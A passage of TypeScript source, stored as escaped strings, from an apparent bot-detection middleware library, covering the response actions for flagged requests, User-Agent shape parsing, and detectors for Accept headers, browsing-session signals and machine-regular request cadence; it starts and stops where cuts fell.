\"social\", \"monitoring\", \"feed\", \"archive\", \"advertising\"]);\n","import type { ActionContext, ActionOutcome, CustomHandler } from \"./types.js\";\nimport type { Assessment } from \"../types.js\";\n\nexport type { ActionContext, ActionOutcome, CustomHandler } from \"./types.js\";\n\n/** Longest header value we will emit. Well past anything useful, short of anything abusive. */\nconst MAX_HEADER_VALUE = 256;\n\n/**\n * Replaces control characters, then truncates.\n *\n * This is a genuine response-splitting boundary rather than defensive tidying: an\n * evidence summary can quote a User-Agent, so part of what lands in these headers\n * came from the client. Written as a scan over code points rather than a regex so\n * that no control character has to appear in this file's source to be handled.\n */\nfunction headerSafe(value: string): string {\n let output = \"\";\n for (const character of value.slice(0, MAX_HEADER_VALUE)) {\n const code = character.codePointAt(0) ?? 0;\n output += code < 0x20 || code === 0x7f ? \" \" : character;\n }\n return output;\n}\n\n/**\n * Verdict headers.\n *\n * Separate `X-Bot-*` fields rather than one JSON blob: individual headers survive\n * proxies, land in access logs with no extra configuration, and can be routed on by a\n * CDN or a load balancer without anything having to parse them.\n */\nexport function verdictHeaders(assessment: Assessment): Record<string, string> {\n const headers: Record<string, string> = {\n \"x-bot-verdict\": assessment.verdict,\n \"x-bot-class\": assessment.botClass,\n \"x-bot-score\": String(assessment.score),\n \"x-bot-certain\": assessment.certain ? \"1\" : \"0\",\n \"x-bot-request-id\": headerSafe(assessment.requestId),\n };\n if (assessment.identity !== undefined) headers[\"x-bot-identity\"] = headerSafe(assessment.identity);\n const top = assessment.evidence[0];\n if (top) headers[\"x-bot-reason\"] = headerSafe(top.summary);\n return headers;\n}\n\n/**\n * Has this client already passed a challenge?\n *\n * Both sources are checked because they fail in opposite directions. The clearance\n * evidence is authoritative — it comes from verifying the client's signed cookie —\n * but the detector only runs when a challenge service is configured. The registry\n * flag survives a missing cookie but not a restart or an LRU eviction. Either one\n * being true is enough to know that re-challenging is pointless.\n */\nfunction alreadyCleared(assessment: Assessment): boolean {\n if (assessment.actor.cleared) return true;\n return assessment.humanEvidence.some((item) => item.detector === \"clearance\");\n}\n\nconst DEFAULT_BLOCK_BODY = \"This request was identified as automated and has not been served.\\nIf you believe this is a mistake, please contact the site operator.\\n\";\n\n/**\n * Turns a decision into an outcome.\n *\n * Every branch fails towards serving the request. An unconfigured challenge, a store\n * that will not answer, a custom handler that was never registered: each of those is\n * a misconfiguration on our side, and the visitor should not pay for it. The warning\n * goes to the operator; the client gets its page.\n */\nexport async function executeAction(context: ActionContext): Promise<ActionOutcome> {\n const { assessment, decision } = context;\n const params = decision.params;\n const tags = verdictHeaders(assessment);\n const extra = params.headers ?? {};\n\n const passThrough = (delayMs?: number): ActionOutcome => ({\n kind: \"continue\",\n requestHeaders: tags,\n ...(context.exposeVerdictHeaders\n ? { responseHeaders: { ...tags, ...extra } }\n : Object.keys(extra).length > 0\n ? { responseHeaders: extra }\n : {}),\n ...(delayMs !== undefined && delayMs > 0 ? { delayMs } : {}),\n });\n\n switch (decision.action) {\n case \"allow\":\n // Through `passThrough` like every other non-terminal action, so that a rule's\n // `params.headers` is honoured here too. Handling `allow` separately meant those\n // headers were accepted, stored and silently dropped — configuration that looks\n // applied and is not. With nothing configured this returns exactly what the\n // special case did.\n return passThrough();\n\n case \"log\":\n case \"tag\":\n return passThrough();\n\n case \"delay\":\n // Capped. A long hold is an availability problem for you, not for the client:\n // the connection, the socket and the worker holding them are all yours.\n return passThrough(Math.min(params.delayMs ?? 500, 10_000));\n\n case \"rate-limit\": {\n const limit = params.limit ?? { max: 60, windowMs: 60_000 };\n let count: number;\n try {\n count = await context.store.increment(`rl:${assessment.actor.key}`, limit.windowMs);\n } catch {\n context.onWarning(\"Rate-limit store is unavailable; serving the request. Rate limits are not being enforced.\");\n return passThrough();\n }\n if (count <= limit.max) {\n return {\n kind: \"continue\",\n requestHeaders: tags,\n responseHeaders: {\n ...(context.exposeVerdictHeaders ? tags : {}),\n ...extra,\n \"ratelimit-limit\": String(limit.max),\n \"ratelimit-remaining\": String(Math.max(0, limit.max - count)),\n },\n };\n }\n const retryAfter = Math.ceil(limit.windowMs / 1000);\n return {\n kind: \"respond\",\n status: 429,\n headers: {\n \"content-type\": \"text/plain; charset=utf-8\",\n \"retry-after\": String(retryAfter),\n \"ratelimit-limit\": String(limit.max),\n \"ratelimit-remaining\": \"0\",\n \"cache-control\": \"no-store\",\n ...(context.exposeVerdictHeaders ? tags : {}),\n ...extra,\n },\n body: `Rate limit exceeded. Try again in ${retryAfter} seconds.\\n`,\n };\n }\n\n case \"challenge\": {\n if (!context.challenge) {\n context.onWarning(`Rule \"${decision.rule}\" asked for a challenge but no challenge secrets are configured. Serving the request and tagging it instead.`);\n return passThrough();\n }\n\n // Never challenge a client that has already passed one.\n //\n // Without this the action is a livelock generator, and the mechanism is not\n // obvious: a `certain` verdict cannot be undone by passing a challenge, because\n // proven bot evidence outranks the `moderate` human evidence a solved proof of\n // work is worth — deliberately, since a headless browser solves one as readily\n // as a person. So a JavaScript-capable client that a rule challenges on proven\n // evidence solves the puzzle, reloads, is challenged again, and loops forever,\n // burning its CPU and flooding the log.\n //\n // Re-issuing proves nothing that the first pass did not, so the loop cannot\n // even terminate usefully. We break it by serving the request, and tell the\n // operator plainly that their rule is asking for the wrong thing: a verdict\n // that a challenge cannot change wants `allow`, `rate-limit` or `block`.\n if (alreadyCleared(assessment)) {\n context.onWarning(\n `Rule \"${decision.rule}\" asked to challenge an actor that already holds a valid clearance token ` +\n `(verdict \"${assessment.verdict}\", ${assessment.certain ? \"proven\" : `score ${assessment.score}`}). ` +\n `Passing the challenge cannot change a proven verdict, so re-issuing it would loop forever; the request has been served instead. ` +\n `Change this rule to \"allow\", \"rate-limit\" or \"block\" — challenging is only useful where clearance can actually alter the outcome.`,\n );\n return passThrough();\n }\n\n // The visitor's own header, so the page can be written in a language they read.\n const response = context.challenge.issue(assessment.actor.key, { acceptLanguage: assessment.facts.headers[\"accept-language\"] });\n context.onChallenge?.(\"issued\");\n return {\n kind: \"respond\",\n status: response.status,\n // The verdict tags belong here too. Every other responding branch honours\n // `exposeVerdictHeaders`, and omitting it on the challenge made the flag mean\n // \"on every response except the one a suspected client actually receives\" —\n // which is both surprising and the least useful place to leave it out.\n headers: { ...response.headers, ...(context.exposeVerdictHeaders ? tags : {}), ...extra },\n body: response.body,\n };\n }\n\n case \"redirect\": {\n const location = params.location;\n if (location === undefined) {\n context.onWarning(`Rule \"${decision.rule}\" is a redirect with no \"location\" parameter. Serving the request instead.`);\n return passThrough();\n }\n return {\n kind: \"respond\",\n status: params.status ?? 302,\n headers: {\n location: headerSafe(location),\n \"cache-control\": \"no-store\",\n ...(context.exposeVerdictHeaders ? tags : {}),\n ...extra,\n },\n body: \"\",\n };\n }\n\n case \"block\":\n return {\n kind: \"respond\",\n status: params.status ?? 403,\n headers: {\n \"content-type\": params.contentType ?? \"text/plain; charset=utf-8\",\n \"cache-control\": \"no-store\",\n // A refusal must never be indexed or cached as if it were the site's content.\n \"x-robots-tag\": \"noindex, nofollow\",\n ...(context.exposeVerdictHeaders ? tags : {}),\n ...extra,\n },\n body: params.body ?? DEFAULT_BLOCK_BODY,\n };\n\n case \"drop\":\n return { kind: \"drop\" };\n\n case \"custom\": {\n const handler = params.handler !== undefined ? context.handlers.get(params.handler) : undefined;\n if (!handler) {\n context.onWarning(`Rule \"${decision.rule}\" names the custom handler \"${params.handler ?? \"(none)\"}\", which is not registered. Serving the request instead.`);\n return passThrough();\n }\n try {\n return await handler.execute(context);\n } catch (error) {\n // The one place a third party's code runs inside the request path, and it was\n // the one place not isolated: a handler that threw escaped `handle()` and\n // turned a bot-detection bug into a failed page load. Every other dependency\n // here — detectors, stores, sinks — degrades to serving the request, and a\n // custom action is not a better reason to fail than any of them.\n context.onWarning(\n `Custom handler \"${handler.id}\" (rule \"${decision.rule}\") threw: ${error instanceof Error ? error.message : String(error)}. Serving the request instead.`,\n );\n return passThrough();\n }\n }\n\n default: {\n // Exhaustiveness: adding an action without handling it here becomes a compile\n // error rather than a rule that silently does nothing.\n const exhaustive: never = decision.action;\n context.onWarning(`Unknown action \"${String(exhaustive)}\"; serving the request.`);\n return passThrough();\n }\n }\n}\n\n/** Registers a custom handler, with the types inferred. */\nexport function defineHandler(handler: CustomHandler): CustomHandler {\n return handler;\n}\n","/**\n * User-Agent shape analysis.\n *\n * This is deliberately *not* a full UA-parsing library. Naming the exact browser and\n * version is a losing game — the string is client-controlled, frozen by vendors, and\n * lies constantly. What we extract instead is **structure**: does this string have\n * the shape a real browser emits, and do its parts agree with each other?\n *\n * Structure is far harder to fake convincingly than a product token, and — more\n * importantly — a structural contradiction is *deterministic* evidence in a way that\n * \"the string says curl\" never is.\n */\n\nexport type UaShape = \"browser-like\" | \"declared-bot\" | \"library\" | \"empty\" | \"malformed\" | \"other\";\n\nexport interface ParsedUserAgent {\n raw: string;\n lower: string;\n shape: UaShape;\n /** Product token we believe identifies the client, e.g. `\"chrome\"`, `\"safari\"`. */\n browser?: string | undefined;\n /** Major version as an integer, when one is present and plausible. */\n majorVersion?: number | undefined;\n /** Rendering engine token: `\"blink\"`, `\"gecko\"`, `\"webkit\"`. */\n engine?: string | undefined;\n /** Normalised OS family: `\"windows\"`, `\"macos\"`, `\"linux\"`, `\"android\"`, `\"ios\"`. */\n os?: string | undefined;\n /**\n * Every `Product/Version` pair, in order.\n *\n * Computed on first access and cached. Tokenising the whole string costs more than\n * every other part of parsing put together, and a mainstream browser User-Agent\n * never needs it — only unrecognised and library-shaped strings do. Reading this\n * property is cheap; reading it on a hot path for a browser is not.\n */\n readonly products: ReadonlyArray<UserAgentProduct>;\n /** True when the string names a URL or an email address anywhere. */\n declaresContact: boolean;\n /**\n * True when the string contains a word like `bot`, `crawler` or `spider`.\n *\n * Kept apart from {@link declaresContact} because the two together are a\n * declaration and either alone is not, and conflating them let a UA reach the\n * `certain` tier on the strength of a URL by itself.\n */\n declaresAutomation: boolean;\n /**\n * True when contact is published using the crawler convention — a `+` before the\n * URL or address, as in `+http://www.google.com/bot.html`.\n *\n * A bare URL in a User-Agent means very little: plenty of applications put their\n * own homepage or support address in one, and the people behind those are people.\n * The `+` prefix is the long-standing convention specifically for automation\n * announcing its operator, so it carries the intent that a bare URL does not.\n */\n usesContactConvention: boolean;\n /**\n * A Chromium fork or embedded build that does not reliably implement the modern\n * header set, named by its product token.\n *\n * This distinction is not pedantry, it is a very large population. \"Chromium 89 and\n * later sends `Sec-CH-UA`\" is true of Google Chrome and of the mainstream forks\n * that track it closely — Edge, Opera, Vivaldi, Brave, Samsung Internet — and false\n * of UC Browser, MIUI Browser, Huawei Browser, QQ Browser, Amazon Silk, television\n * and console builds, and many in-app WebViews, all of which are pinned to an older\n * Chromium or strip the headers. Between them those are hundreds of millions of\n * people, concentrated in South and East Asia.\n *\n * Detectors reasoning from the *absence* of Client Hints or Fetch Metadata must\n * stand down for these; detectors reading what is present carry on unchanged.\n */\n chromiumFork?: string | undefined;\n}\n\nexport interface UserAgentProduct {\n name: string;\n version?: string | undefined;\n}\n\nconst PRODUCT_PATTERN = /([A-Za-z][A-Za-z0-9._+-]{0,40})(?:\\/([0-9][0-9A-Za-z._-]{0,20}))?/g;\nconst CONTACT_PATTERN = /https?:\\/\\/|\\+http|@[a-z0-9-]+\\.[a-z]{2,}/i;\n/**\n * The convention crawlers use to name their operator.\n *\n * Usually a `+` prefix — `+http://www.google.com/bot.html` — which is the long-standing\n * form. A bare `mailto:` counts too: no browser has ever put one in a User-Agent, so\n * it carries the same declarative intent even without the plus, and several academic\n * and library crawlers use exactly that form.\n */\nconst CONTACT_CONVENTION = /\\+(?:https?:\\/\\/|mailto:|[a-z0-9._%+-]+@)|mailto:[a-z0-9._%+-]+@/i;\n/**\n * Words that mark a client as automated.\n *\n * Two alternatives, and the second one matters more than it looks. The first matches\n * a standalone word — `... compatible; Some Spider 1.0`. The second matches the\n * *compound* form that is by far the commonest crawler naming convention on the web:\n * `CrossrefBot`, `SmartNewsBot`, `PhishTankBot`, `AdzunaBot`. A pattern requiring a\n * non-letter before `bot` misses every one of them, which is how a corpus of real\n * crawler User-Agents found this: a well-behaved academic crawler naming itself and\n * publishing an address scored 15 and sailed through as unknown.\n *\n * The compound form requires at least two letters before the suffix, so a bare `bot`\n * is handled by the first alternative and a word like `robot` matches — which is\n * correct.\n */\nconst BOT_WORD =\n /(?:^|[^a-z])(?:bot|crawler|spider|scraper|crawl|indexer|fetcher|archiver|monitor(?:ing)?|checker|preview|slurp)(?:[^a-z]|$)|[a-z]{2,}(?:bot|crawler|spider|scraper|indexer|fetcher)(?:[^a-z]|$)/;\n\n/** Longest UA we will process. Beyond this the string is not a UA, it is a payload. */\nexport const MAX_USER_AGENT_LENGTH = 512;\n\nexport function parseUserAgent(raw: string | undefined): ParsedUserAgent {\n if (raw === undefined || raw.trim().length === 0) {\n return { raw: raw ?? \"\", lower: \"\", shape: \"empty\", products: [], declaresContact: false, declaresAutomation: false, usesContactConvention: false };\n }\n\n // Truncate rather than reject: an over-long UA is itself a signal, and the\n // detectors that care see the raw length through `RequestFacts`.\n const value = raw.length > MAX_USER_AGENT_LENGTH ? raw.slice(0, MAX_USER_AGENT_LENGTH) : raw;\n const lower = value.toLowerCase();\n\n const parsed = new LazyUserAgent(value, lower, CONTACT_PATTERN.test(value), BOT_WORD.test(lower), CONTACT_CONVENTION.test(value));\n\n const os = detectOs(lower);\n if (os) parsed.os = os;\n\n const engine = detectEngine(lower);\n if (engine) parsed.engine = engine;\n\n const fork = NON_MAINSTREAM_CHROMIUM.find((token) => lower.includes(token));\n if (fork !== undefined) parsed.chromiumFork = fork;\n\n const browser = detectBrowser(lower);\n if (browser) {\n parsed.browser = browser.name;\n if (browser.majorVersion !== undefined) parsed.majorVersion = browser.majorVersion;\n }\n\n parsed.shape = classifyShape(lower, parsed);\n return parsed;\n}\n\n/** Backs {@link ParsedUserAgent.products} with a cache, so the tokeniser runs at most once. */\nclass LazyUserAgent implements ParsedUserAgent {\n shape: UaShape = \"other\";\n browser?: string | undefined;\n majorVersion?: number | undefined;\n engine?: string | undefined;\n os?: string | undefined;\n chromiumFork?: string | undefined;\n private cached: ReadonlyArray<UserAgentProduct> | undefined;\n\n constructor(\n readonly raw: string,\n readonly lower: string,\n readonly declaresContact: boolean,\n readonly declaresAutomation: boolean,\n readonly usesContactConvention: boolean,\n ) {}\n\n get products(): ReadonlyArray<UserAgentProduct> {\n if (this.cached !== undefined) return this.cached;\n const products: UserAgentProduct[] = [];\n PRODUCT_PATTERN.lastIndex = 0;\n for (let match = PRODUCT_PATTERN.exec(this.raw); match !== null; match = PRODUCT_PATTERN.exec(this.raw)) {\n products.push({ name: match[1]!.toLowerCase(), version: match[2] });\n if (products.length >= 24) break;\n }\n this.cached = products;\n return products;\n }\n}\n\nfunction classifyShape(lower: string, parsed: ParsedUserAgent): UaShape {\n if (parsed.declaresAutomation || parsed.declaresContact) return \"declared-bot\";\n // Bare library clients: a single product token, no Mozilla preamble.\n if (!lower.startsWith(\"mozilla/\") && parsed.products.length <= 3 && parsed.browser === undefined) {\n return parsed.products.length === 0 ? \"malformed\" : \"library\";\n }\n if (parsed.browser !== undefined && parsed.engine !== undefined) return \"browser-like\";\n if (lower.startsWith(\"mozilla/\")) return \"browser-like\";\n return \"other\";\n}\n\nfunction detectOs(lower: string): string | undefined {\n if (lower.includes(\"windows nt\") || lower.includes(\"windows phone\")) return \"windows\";\n if (lower.includes(\"android\")) return \"android\";\n if (lower.includes(\"iphone\") || lower.includes(\"ipad\") || lower.includes(\"ios \")) return \"ios\";\n if (lower.includes(\"mac os x\") || lower.includes(\"macintosh\")) return \"macos\";\n if (lower.includes(\"cros \")) return \"chromeos\";\n if (lower.includes(\"linux\") || lower.includes(\"x11\")) return \"linux\";\n return undefined;\n}\n\nfunction detectEngine(lower: string): string | undefined {\n // Order matters: every Blink UA also claims \"applewebkit\" and \"gecko\" for\n // historical compatibility, so the most specific engine must win.\n if (lower.includes(\"edg/\") || lower.includes(\"chrome/\") || lower.includes(\"chromium/\")) return \"blink\";\n if (lower.includes(\"firefox/\") || lower.includes(\"gecko/\")) return \"gecko\";\n if (lower.includes(\"applewebkit/\")) return \"webkit\";\n return undefined;\n}\n\n/**\n * Product tokens marking a Chromium build that cannot be assumed to send the modern\n * header set — either a regional fork pinned to an old Chromium, an embedded WebView,\n * or a television and console browser.\n */\nconst NON_MAINSTREAM_CHROMIUM = [\n \"ucbrowser\",\n \"miuibrowser\",\n \"huaweibrowser\",\n \"mqqbrowser\",\n \"qqbrowser\",\n \"heytapbrowser\",\n \"vivobrowser\",\n \"oppobrowser\",\n \"quark\",\n \"baidubrowser\",\n \"sogoumobilebrowser\",\n \"2345explorer\",\n \"maxthon\",\n \"puffin\",\n \"silk/\",\n \"; wv)\",\n \"smart-tv\",\n \"smarttv\",\n \"web0s\",\n \"tizen\",\n \"crkey\",\n \"nintendobrowser\",\n \"playstation\",\n \"xbox\",\n \"webappmanager\",\n] as const;\n\nconst BROWSER_TOKENS = [\"edg\", \"edga\", \"edgios\", \"opr\", \"opera\", \"vivaldi\", \"brave\", \"samsungbrowser\", \"yabrowser\", \"duckduckgo\", \"firefox\", \"fxios\", \"chrome\", \"crios\", \"chromium\", \"safari\"] as const;\n\nfunction detectBrowser(lower: string): { name: string; majorVersion?: number | undefined } | undefined {\n // Most specific first: Edge and Opera both also claim \"Chrome/\", and every\n // Chromium browser also claims \"Safari/\".\n for (const token of BROWSER_TOKENS) {\n const at = lower.indexOf(`${token}/`);\n if (at === -1) continue;\n const major = readMajorVersion(lower, at + token.length + 1);\n return major === undefined ? { name: token } : { name: token, majorVersion: major };\n }\n return undefined;\n}\n\n/**\n * Reads the leading integer of a version at `start`. A hand-rolled scan rather than a\n * `parseInt` on a sliced substring, because this runs on every request and slicing\n * allocates a string purely to throw it away.\n */\nfunction readMajorVersion(lower: string, start: number): number | undefined {\n let value = 0;\n let digits = 0;\n for (let i = start; i < lower.length && digits < 7; i++) {\n const code = lower.charCodeAt(i);\n if (code < 48 || code > 57) break;\n value = value * 10 + (code - 48);\n digits++;\n }\n return digits === 0 ? undefined : value;\n}\n\n/**\n * True when the string has the *shape* of a mainstream browser UA. Says nothing\n * about whether the claim is honest — that is what the consistency detectors are\n * for. Its job is to identify strings whose claims are worth cross-checking.\n */\nexport function claimsBrowser(parsed: ParsedUserAgent): boolean {\n return parsed.shape === \"browser-like\" && parsed.browser !== undefined;\n}\n\n/**\n * True when this client can be expected to implement Client Hints and Fetch Metadata.\n *\n * Only mainstream Chromium and Gecko qualify. Checks that reason from those headers\n * being *missing* must consult this first, or they report a strong signal on every\n * regional fork, television and in-app WebView on the internet.\n */\nexport function sendsModernHeaders(parsed: ParsedUserAgent): boolean {\n return parsed.chromiumFork === undefined;\n}\n","import { claimsBrowser } from \"../internal/ua.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\n/** RFC 9110 language-range list: `en-US,en;q=0.9,fr;q=0.8`, plus the `*` wildcard. */\nconst LANGUAGE_LIST = /^\\s*(?:\\*|[A-Za-z]{1,8}(?:-[A-Za-z0-9]{1,8})*)(?:\\s*;\\s*q=(?:0(?:\\.\\d{1,3})?|1(?:\\.0{1,3})?))?(?:\\s*,\\s*(?:\\*|[A-Za-z]{1,8}(?:-[A-Za-z0-9]{1,8})*)(?:\\s*;\\s*q=(?:0(?:\\.\\d{1,3})?|1(?:\\.0{1,3})?))?)*\\s*$/;\n\n/**\n * Reads the content-negotiation headers as a signature of the client.\n *\n * A browser asking for a page sends a long, specific `Accept` describing the\n * document formats it renders. A scraper asks for `*/ /*` because it will take\n * whatever arrives. Similarly, a browser's `Accept-Language` reflects a real\n * language preference list; automation tends to send a single bare tag or a value\n * that is not valid grammar at all.\n *\n * All moderate-to-strong, never certain. Content negotiation is exactly the sort of\n * thing an intermediary rewrites, and plenty of legitimate integrations against your\n * own site send `*/ /*` on purpose.\n */\nexport function acceptSignatureDetector(): Detector {\n return {\n id: \"accept-signature\",\n description: \"Reads Accept and Accept-Language as a fingerprint of the client's content negotiation\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n if (!claimsBrowser(ctx.ua)) return undefined;\n const { headers } = ctx.facts;\n const results: Evidence[] = [];\n\n const accept = headers[\"accept\"];\n if (accept !== undefined) {\n const destination = headers[\"sec-fetch-dest\"];\n const isDocument = destination === \"document\";\n const wildcardOnly = accept.trim() === \"*/*\";\n\n // `Accept: */*` is *correct* for a fetch() or an XHR, and page script sends\n // millions of those. Firing on it penalised every single-page application on\n // the web for behaving exactly as specified. Where the destination header\n // tells us this is not a navigation, there is nothing here to report.\n const nonDocumentContext = destination !== undefined && !isDocument;\n\n if (wildcardOnly && !nonDocumentContext) {\n results.push({\n detector: \"accept-signature\",\n summary: isDocument\n ? \"Navigation request claiming a browser sent Accept: */* — browsers send an explicit document format list\"\n : \"Client claiming a browser sent Accept: */* with no Fetch Metadata to explain it\",\n direction: \"bot\",\n certainty: isDocument ? \"strong\" : \"weak\",\n ...(isDocument ? { weight: 0.65 } : {}),\n botClass: \"impersonator\",\n metadata: { accept, secFetchDest: destination ?? null },\n });\n } else if (isDocument && !accept.includes(\"text/html\")) {\n results.push({\n detector: \"accept-signature\",\n summary: `Navigation request does not accept text/html: \"${accept.slice(0, 60)}\"`,\n direction: \"bot\",\n certainty: \"strong\",\n weight: 0.6,\n botClass: \"impersonator\",\n metadata: { accept: accept.slice(0, 120) },\n });\n }\n }\n\n const language = headers[\"accept-language\"];\n if (language !== undefined && language.length > 0) {\n if (language.length > 256 || !LANGUAGE_LIST.test(language)) {\n results.push({\n detector: \"accept-signature\",\n summary: `Accept-Language is not a valid language-range list: \"${language.slice(0, 60)}\"`,\n direction: \"bot\",\n certainty: \"moderate\",\n botClass: \"impersonator\",\n metadata: { acceptLanguage: language.slice(0, 120) },\n });\n } else if (!language.includes(\",\") && !language.includes(\";\")) {\n // A single bare tag with no quality values. Browsers ship a fallback chain\n // by default; a lone `en-US` is the shape a hard-coded client sends.\n results.push({\n detector: \"accept-signature\",\n summary: `Accept-Language is a single bare tag (\"${language.trim()}\") with no fallback chain`,\n direction: \"bot\",\n certainty: \"weak\",\n botClass: \"impersonator\",\n metadata: { acceptLanguage: language.trim() },\n });\n }\n }\n\n return results.length > 0 ? results : undefined;\n },\n };\n}\n","import { claimsBrowser } from \"../internal/ua.js\";\nimport type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\n/**\n * Evidence that this request came out of a browsing session.\n *\n * Almost every detector in this library argues in one direction. That asymmetry is a\n * problem the scoring model makes visible: a person reading forty pages of\n * documentation from a university's shared address accumulates `rate-anomaly`,\n * `cadence`, `crawl-breadth` and `ip-intelligence` and can cross the suspicion\n * threshold without a single thing being wrong with their request. The engine\n * discounts a bot score by whatever human evidence it has — `pBot × (1 − pHuman)` —\n * and until now the only things that produced any were your own application's\n * assertion, a clearance token, a TLS profile table most people do not maintain, and\n * a page script most people do not embed. For an ordinary request from an ordinary\n * browser, `pHuman` was zero.\n *\n * So this detector reads the properties that come from a client having *state and\n * history* rather than from a client being well-formed:\n *\n * - **A cache to revalidate.** `If-None-Match` and `If-Modified-Since` mean this\n * client has been here before and kept what it was given. A stateless fetch loop\n * has nothing to revalidate against and asks for the resource fresh every time.\n * - **A cookie jar.** Something set state on this client and the client sent it back.\n * - **A user gesture.** `Sec-Fetch-User: ?1` is a forbidden header the browser sets\n * only when a *person* activated the navigation — a link click, a typed URL, a\n * bookmark. Page script cannot set it, and a driver navigating a page\n * programmatically does not produce it.\n * - **A coherent modern fingerprint.** The Fetch Metadata group, the Client Hints and\n * the negotiation headers all present and agreeing with each other.\n *\n * **None of this is proof and none of it ever will be.** Every one of these\n * properties is copyable: a scraper that keeps a cookie jar, replays an ETag and\n * copies a header set produces all four. That is why the ceiling here is `moderate`,\n * why the whole set shares one {@link Evidence.family} so it can never stack into a\n * large discount, and why it can only ever *reduce* a suspicion score rather than\n * establish a `human` verdict on its own. The only conclusive human evidence in this\n * library comes from you — `isHuman`, or an operator clearance token — because you\n * are the one party in the exchange whose word the client cannot forge.\n *\n * What it buys is the honest half of a two-sided argument: a request that shows the\n * marks of a real session is less suspicious than an identical one that does not,\n * and the population that benefits is precisely the one this library exists to\n * protect.\n */\nexport function browsingCoherenceDetector(): Detector {\n return {\n id: \"browsing-coherence\",\n description: \"Reports the marks of a real browsing session — a cache, a cookie jar, a user gesture — as human-pointing evidence\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence[] | undefined {\n if (!claimsBrowser(ctx.ua)) return undefined;\n const { headers } = ctx.facts;\n const results: Evidence[] = [];\n\n // Every observation below shares a family, so the engine takes the strongest\n // rather than compounding them. They are four views of one circumstance — that\n // this client has been using the web — not four independent arguments.\n const family = \"browsing-session\";\n\n const validator = headers[\"if-none-match\"] ?? headers[\"if-modified-since\"];\n if (validator !== undefined) {\n results.push({\n detector: \"browsing-coherence\",\n summary: \"Request revalidates a cached copy, so this client has been here before and kept what it was served\",\n direction: \"human\",\n certainty: \"weak\",\n weight: 0.25,\n family,\n metadata: { validator: validator.slice(0, 80) },\n });\n }\n\n if (headers[\"cookie\"] !== undefined) {\n results.push({\n detector: \"browsing-coherence\",\n summary: \"Request carries cookies previously set on this client\",\n direction: \"human\",\n certainty: \"weak\",\n // The cheapest of these to fake — a copied Cookie header is one line — so\n // the smallest weight.\n weight: 0.15,\n family,\n metadata: { requests: ctx.state.total },\n });\n }\n\n // `Sec-Fetch-User` is only sent on a navigation a person activated, and only\n // with the value `?1`. `fetch-metadata` already reports any other spelling as a\n // fabrication; this is the same header read for what it says when it is right.\n if (headers[\"sec-fetch-user\"]?.trim() === \"?1\" && headers[\"sec-fetch-mode\"] === \"navigate\") {\n results.push({\n detector: \"browsing-coherence\",\n summary: \"Navigation was marked user-activated by the browser's own network stack\",\n direction: \"human\",\n certainty: \"moderate\",\n weight: 0.3,\n family,\n metadata: { dest: headers[\"sec-fetch-dest\"] ?? null },\n });\n }\n\n if (coherentModernRequest(headers)) {\n results.push({\n detector: \"browsing-coherence\",\n summary: \"Fetch Metadata, Client Hints and negotiation headers are all present and mutually consistent\",\n direction: \"human\",\n certainty: \"weak\",\n weight: 0.2,\n family,\n metadata: { secFetchSite: headers[\"sec-fetch-site\"], hasClientHints: headers[\"sec-ch-ua\"] !== undefined },\n });\n }\n\n return results.length > 0 ? results : undefined;\n },\n };\n}\n\n/**\n * The whole modern apparatus, present and agreeing.\n *\n * Stated as a conjunction rather than a score: a client that sends most of the set is\n * not two-thirds of a browser, it is something that copied most of the set. The\n * mutual-consistency clause is what stops the trivially assembled version from\n * qualifying — a request has to carry a Fetch Metadata group whose parts describe the\n * same kind of request.\n */\nfunction coherentModernRequest(headers: Record<string, string | undefined>): boolean {\n const site = headers[\"sec-fetch-site\"];\n const mode = headers[\"sec-fetch-mode\"];\n const dest = headers[\"sec-fetch-dest\"];\n if (site === undefined || mode === undefined || dest === undefined) return false;\n if (headers[\"accept\"] === undefined || headers[\"accept-language\"] === undefined || headers[\"accept-encoding\"] === undefined) return false;\n if (dest === \"document\" && mode !== \"navigate\") return false;\n if (mode === \"navigate\" && dest !== \"document\" && dest !== \"iframe\" && dest !== \"frame\" && dest !== \"embed\" && dest !== \"object\") return false;\n return true;\n}\n","import type { Detector, DetectionContext } from \"./types.js\";\nimport type { Evidence } from \"../types.js\";\n\nexport interface CadenceOptions {\n /** Minimum gaps needed before the statistic means anything. Default 6. */\n minSamples?: number;\n /** Coefficient of variation at or below which the rhythm is machine-regular. Default 0.15. */\n regularityThreshold?: number;\n /** Ignore actors whose mean gap exceeds this, ms. Default 120000 (2 min). */\n maxMeanIntervalMs?: number;\n}\n\n/**\n * Is this actor's *rhythm* human?\n *\n * People generate ragged inter-arrival times. They read, scroll, get distracted, open\n * three tabs at once, then nothing for four minutes. A loop calling `setInterval` or\n * awaiting a fixed delay produces gaps clustered tightly around one value, and the\n * coefficient of variation makes that visible in a single number.\n *\n * The check is on *regularity*, not speed, which is what makes it complementary to\n * `rate-anomaly` — a slow, polite scraper deliberately pacing itself at one request\n * every two seconds to stay under a rate limit is invisible to rate counting and\n * extremely visible here.\n *\n * It stays `moderate` because a real page can produce regular traffic too: a polling\n * XHR, a video player fetching segments, an SSE reconnect loop. Those are your own\n * frontend, and the fix is to exclude their paths (see `ignorePaths` in the engine\n * config) rather than to weaken the statistic.\n */\nexport function cadenceDetector(options: CadenceOptions = {}): Detector {\n // A coefficient of variation computed from a single gap is identically zero,\n // whatever the data — so `minSamples: 1` would report every actor's second request\n // as perfectly machine-regular. Two is the floor at which the statistic exists at\n // all; the default of six is where it starts meaning something.\n const minSamples = Math.max(2, options.minSamples ?? 6);\n const regularityThreshold = options.regularityThreshold ?? 0.15;\n const maxMeanIntervalMs = options.maxMeanIntervalMs ?? 120_000;\n\n return {\n id: \"cadence\",\n description: \"Measures the variance of an actor's inter-arrival times to spot machine-regular pacing\",\n cost: \"cheap\",\n stage: \"always\",\n\n inspect(ctx: DetectionContext): Evidence | undefined {\n const { count, mean, coefficientOfVariation } = ctx.state.intervalStats();\n if (count < minSamples) return undefined;\n\n // A mean at or near zero means everything arrived in one burst — that is a rate\n // observation, not a cadence one, and `rate-anomaly` already owns it.\n if (mean <= 1 || mean > maxMeanIntervalMs) return undefined;\n if (coefficientOfVariation > regularityThreshold) return undefined;\n\n return {\n detector: \"cadence\",\n summary: `Arrivals are machine-regular: ${count} gaps averaging ${Math.round(mean)}ms with a coefficient of variation of ${coefficientOfVariation.toFixed(3)}`,\n direction: 